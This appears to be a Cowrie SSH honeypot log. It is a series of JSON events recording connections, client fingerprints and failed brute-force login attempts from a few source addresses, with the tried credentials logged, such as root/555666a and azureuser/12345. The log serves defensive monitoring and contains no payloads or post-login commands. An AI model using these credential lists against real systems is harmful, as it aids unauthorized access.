{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:13.850822Z","src_ip":"192.109.200.78","session":"f9881d6decfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:13.931895Z","src_ip":"192.109.200.78","session":"f9881d6decfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"12345678","message":"login attempt [administrator/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:14.178094Z","src_ip":"192.109.200.78","session":"f9881d6decfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:15.262423Z","src_ip":"192.109.200.78","session":"f9881d6decfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42594,"dst_ip":"10.17.0.5","dst_port":22,"session":"27fa05ccfd17","protocol":"ssh","message":"New connection: 192.109.200.78:42594 (10.17.0.5:22) [session: 27fa05ccfd17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:17.150076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:17.155036Z","src_ip":"192.109.200.78","session":"27fa05ccfd17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:17.241513Z","src_ip":"192.109.200.78","session":"27fa05ccfd17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123123","message":"login attempt [minecraft/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:17.486689Z","src_ip":"192.109.200.78","session":"27fa05ccfd17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:18.570645Z","src_ip":"192.109.200.78","session":"27fa05ccfd17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42608,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebcafef501de","protocol":"ssh","message":"New connection: 192.109.200.78:42608 (10.17.0.5:22) [session: ebcafef501de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:20.788795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:20.795835Z","src_ip":"192.109.200.78","session":"ebcafef501de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:20.876486Z","src_ip":"192.109.200.78","session":"ebcafef501de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:21.120602Z","src_ip":"192.109.200.78","session":"ebcafef501de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:22.204506Z","src_ip":"192.109.200.78","session":"ebcafef501de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39628,"dst_ip":"10.17.0.5","dst_port":22,"session":"96355a3a5c7c","protocol":"ssh","message":"New connection: 192.109.200.78:39628 (10.17.0.5:22) [session: 96355a3a5c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:24.165225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:24.168978Z","src_ip":"192.109.200.78","session":"96355a3a5c7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:24.249349Z","src_ip":"192.109.200.78","session":"96355a3a5c7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manoj","password":"manoj123","message":"login attempt [manoj/manoj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:24.494135Z","src_ip":"192.109.200.78","session":"96355a3a5c7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.70","src_port":36652,"dst_ip":"159.203.135.109","dst_port":22,"session":"22749d7fa30b","protocol":"ssh","message":"New connection: 66.132.195.70:36652 (159.203.135.109:22) [session: 22749d7fa30b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:24.806052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:25.292790Z","src_ip":"66.132.195.70","session":"22749d7fa30b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:25.295608Z","src_ip":"66.132.195.70","session":"22749d7fa30b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:25.577075Z","src_ip":"192.109.200.78","session":"96355a3a5c7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39652,"dst_ip":"10.17.0.5","dst_port":22,"session":"73bf9138eaaa","protocol":"ssh","message":"New connection: 192.109.200.78:39652 (10.17.0.5:22) [session: 73bf9138eaaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:27.568261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:27.572701Z","src_ip":"192.109.200.78","session":"73bf9138eaaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:27.655038Z","src_ip":"192.109.200.78","session":"73bf9138eaaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:27.901158Z","src_ip":"192.109.200.78","session":"73bf9138eaaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":37670,"dst_ip":"10.17.0.5","dst_port":22,"session":"9283544033e4","protocol":"ssh","message":"New connection: 38.93.206.2:37670 (10.17.0.5:22) [session: 9283544033e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:28.763134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:28.766704Z","src_ip":"38.93.206.2","session":"9283544033e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:28.819321Z","src_ip":"38.93.206.2","session":"9283544033e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"555666a","message":"login attempt [root/555666a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:28.973931Z","src_ip":"38.93.206.2","session":"9283544033e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:28.984609Z","src_ip":"192.109.200.78","session":"73bf9138eaaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:30.044318Z","src_ip":"38.93.206.2","session":"9283544033e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39668,"dst_ip":"10.17.0.5","dst_port":22,"session":"42fd43451262","protocol":"ssh","message":"New connection: 192.109.200.78:39668 (10.17.0.5:22) [session: 42fd43451262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:31.150576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:31.155083Z","src_ip":"192.109.200.78","session":"42fd43451262","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:31.236340Z","src_ip":"192.109.200.78","session":"42fd43451262","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"12345","message":"login attempt [azureuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:31.481999Z","src_ip":"192.109.200.78","session":"42fd43451262","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:32.570182Z","src_ip":"192.109.200.78","session":"42fd43451262","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59980,"dst_ip":"10.17.0.5","dst_port":22,"session":"c37d57b2b43d","protocol":"ssh","message":"New connection: 192.109.200.78:59980 (10.17.0.5:22) [session: c37d57b2b43d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:34.547906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:34.555850Z","src_ip":"192.109.200.78","session":"c37d57b2b43d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-